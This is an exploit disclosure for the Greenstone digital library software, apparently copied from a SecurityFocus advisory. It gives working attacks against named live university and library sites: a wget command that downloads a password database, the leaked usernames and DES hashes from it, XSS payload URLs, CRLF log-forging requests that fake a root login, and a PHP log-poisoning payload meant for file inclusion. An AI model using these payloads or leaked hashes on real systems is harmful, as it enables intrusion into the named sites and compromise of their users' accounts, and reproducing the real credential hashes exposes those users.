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source: https://www.securityfocus.com/bid/56662/info Greenstone is prone to the following security vulnerabilities: 1. A file-disclosure vulnerability 2. A cross-site scripting vulnerability 3. A security weakness 4. A security-bypass vulnerability Attackers can exploit these issues to view local files, bypass certain security restriction, steal cookie-based authentication, or execute arbitrary scripts in the context of the browser. =================Let's Roll============================ Passwordfile disclosure: http://greenstone.flib.sci.am/gsdl/etc/users.gdb http://greenstone.flib.sci.am/gsdl/etc/key.gdb http://greenstone.martinique.univ-ag.fr/gsdl/etc/users.db http://greenstone.martinique.univ-ag.fr/gsdl/etc/key.db Example: (P.S Password encryption: Des (Unix)) ===================== Reproduce ===================== $ wget http://greenstone.flib.sci.am/gsdl/etc/users.gdb && cat users.gdb --2012-11-22 17:04:39--http://greenstone.flib.sci.am/gsdl/etc/users.gdb Resolving greenstone.flib.sci.am (greenstone.flib.sci.am)... 93.187.162.197 Connecting to greenstone.flib.sci.am (greenstone.flib.sci.am)|93.187.162.197|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 12926 (13K) [text/plain] Saving to: <code>users.gdb' 100%[==========================================>] 12,92631.8K/s in 0.4s 2012-11-22 17:04:40 (31.8 KB/s) - </code>users.gdb' saved [12926/12926] .......Some junk snip........ ...admin<comment>created at install time <enabled>true <groups>administrator,colbuilder,all-collections-editor <password>TpM5gyFpfCsLc <username>admindemo<comment>Dummy 'demo' user with password 'demo' for authen-e collection <enabled>true <groups>demo <password>Tpp90HTz/jz9w <username>demotatevik<comment> <enabled>true <groups>all-collections-editor <password>Tpyq8s1oUIioc <username>tatevik azgayin<comment> <enabled>true <groups>all-collections-editor <password>Tp53Vsj1qM4cE <username>azgayin demo<comment>Dummy 'demo' user with password 'demo' for authen-e collection <enabled>true <groups>demo <password>TpzWMQXVfKFvw <username>demo ========================= END OF users.gbd============================ Known salt issuse (because this application uses "setpasswd" utility via hardcoded salt=>: Tp) (Especially on windows systems) ================================BEGIN================================ /********************************************************************** * * setpasswd.cpp -- * Copyright (C) 2000The New Zealand Digital Library Project * * A component of the Greenstone digital library software * from the New Zealand Digital Library Project at the * University of Waikato, New Zealand. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * *********************************************************************/ // setpasswd is a windows application that can be used to encrypt a password // and write it (along with its corresponding username) to a gdbm database. // it handles writing to the gdbm database itself to avoid having to call // the txt2db console application (and therefore avoiding the console // window popping up when called from another windows application). // note that setpasswd does no checking to make sure that any of it's // input arguments are valid (or even reasonable) values. // this program should be compiled into a binary called setpw.exe (to be // short enough not to mess with 16 bit Windows platforms). // usage: // setpw -u username -p password -o output_gdbm_file #include "text_t.h" #include "crypt.h" #include "autoconf.h" #include "systems.h" #include "gdbmconst.h" #include "gdbm.h" #include <windows.h> text_t username; text_t password; text_t output_gdbm_file; bool parse_cmdline (LPSTR cmdline) { bool in_quote = false; text_t arg; text_tarray args; unsigned char *c = (unsigned char *)cmdline; while (*c != '\0') { if (*c == '"') { if (!in_quote) { in_quote = true; } else { in_quote = false; if (!arg.empty()) args.push_back (arg); arg.clear(); } } else if (*c == ' ' && !in_quote) { if (!arg.empty()) args.push_back (arg); arg.clear(); } else { arg.push_back (*c); } ++c; } if (!arg.empty()) args.push_back (arg); text_tarray::const_iterator here = args.begin(); text_tarray::const_iterator end = args.end(); while (here != end) { if (*here == "-u" && (++here != end)) username = *here; else if (*here == "-p" && (++here != end)) password = *here; else if (*here == "-o" && (++here != end)) output_gdbm_file = *here; if (here != end) ++here; } if (username.empty() || password.empty() || output_gdbm_file.empty()) { MessageBox (NULL, "Usage:\n setpasswd -u username -p password -o output_gdbm_file", "setpasswd failed", MB_OK); return false; } return true; } text_t crypt_text (const text_t &text) { static const char *salt = "Tp"; text_t crypt_password; if (text.empty()) return ""; // encrypt the password char *text_cstr = text.getcstr(); if (text_cstr == NULL) return ""; crypt_password = crypt(text_cstr, salt); delete []text_cstr; return crypt_password; } bool add_to_db () { int block_size = 0; GDBM_FILE dbf; char *dbname = output_gdbm_file.getcstr(); // open the database int read_write = GDBM_WRCREAT; dbf = gdbm_open (dbname, block_size, read_write, 00664, NULL, 1); if (dbf == NULL) { MessageBox (NULL, "gdbm_open failed\n", "setpasswd", MB_OK); return false; } datum key_data; key_data.dptr = username.getcstr(); if (key_data.dptr == NULL) { MessageBox (NULL, "null key_data\n", "setpasswd", MB_OK); return false; } key_data.dsize = strlen(key_data.dptr); text_t value = "<comment>\n"; value += "<enabled>true\n"; value += "<groups>administrator,colbuilder\n"; value += "<password>" + password + "\n"; value += "<username>" + username + "\n"; datum value_data; value_data.dptr = value.getcstr(); if (value_data.dptr == NULL) { MessageBox (NULL, "null value_data\n", "setpasswd", MB_OK); return false; } value_data.dsize = strlen(value_data.dptr); // store the value if (gdbm_store (dbf, key_data, value_data, GDBM_REPLACE) < 0) { MessageBox (NULL, "gdbm_store failed\n", "setpasswd", MB_OK); return false; } gdbm_close (dbf); delete []key_data.dptr; delete []value_data.dptr; delete []dbname; return true; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // parse command line arguments if (!parse_cmdline (lpCmdLine)) return 1; // encrypt the password password = crypt_text (password); // append the password and username to database add_to_db(); return 0; } ============================================================ XSS: site.tld/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=<script>alert("OwnEd");</script> Demo: http://greenstone.unam.na/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=%3Cscript%3Ealert%28%22OwnEd%22%29;%3C/script%3E http://greenstone.flib.sci.am/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=%3Cscript%3Ealert%28%22OwnEd%22%29;%3C/script%3E%20%3E%3E%20greenstone.flib.greenstone.flib.sci.am/gsdl/cgi-bin/library.cgi?a=status&p=collectioninfo&pr=7&c=%3Cscript%3Ealert%28%22OwnEd%22%29;%3C/script%3E http://greenstone.flib.sci.am/gsdl/cgi-bin/library.cgi?a=status&p=%22%3E%3Cscript%3Ealert%28%22Again%20Owned%22%29;%3C/script%3E&pr=7&c=AkaStep ============================================================ Log forging: http://greenstone.unam.na/gsdl/cgi-bin/library.cgi?e=4?e=%223"%0D%0A%0D%0AWarning: Accepted connection from unknown host to local port: 22 root logged in%29%0D%0A%0D%0A" cmd.exe http://greenstone.unam.na/gsdl/cgi-bin/library.cgi?e=4?e=%223%0D%0A%0D%0AError%20D:\Program%20Files\Greenstone\%20directory%20owned?%29%0D%0A%0D%0A Forged log:http://greenstone.unam.na/gsdl/etc/error.txt(CTRL+F and search for:host to local port: 22) Example: ===================EXAMPLE OF =FORGED LOG==================== Error: the action "4?e="3" Warning: Accepted connection from unknown host to local port: 22 root logged in)<==Fake entry for Panic system administrator)))))) " cmd.exe" could not be found. ================END OF FORGED LOG============= Log File Poisoning: (Usefull for LFI) www.bibliotecamuseodelamemoria.cl/gsdl/cgi-bin/library.cgi?e=4?e="%0d%0a<?php phpinfo();?>%0d%0a%00%00 Poisoned Log can be found in the following places: site/gsdl/etc/error.txt or site/etc/error.txt(<=On Windows systems in ex i found it here) Example of injected log: ================================== http://greenstone.unam.na/gsdl/etc/error.txt Error: the action "4?e=" <?php phpinfo();?> .." could not be found. ================================== ******************** The End ******************* |
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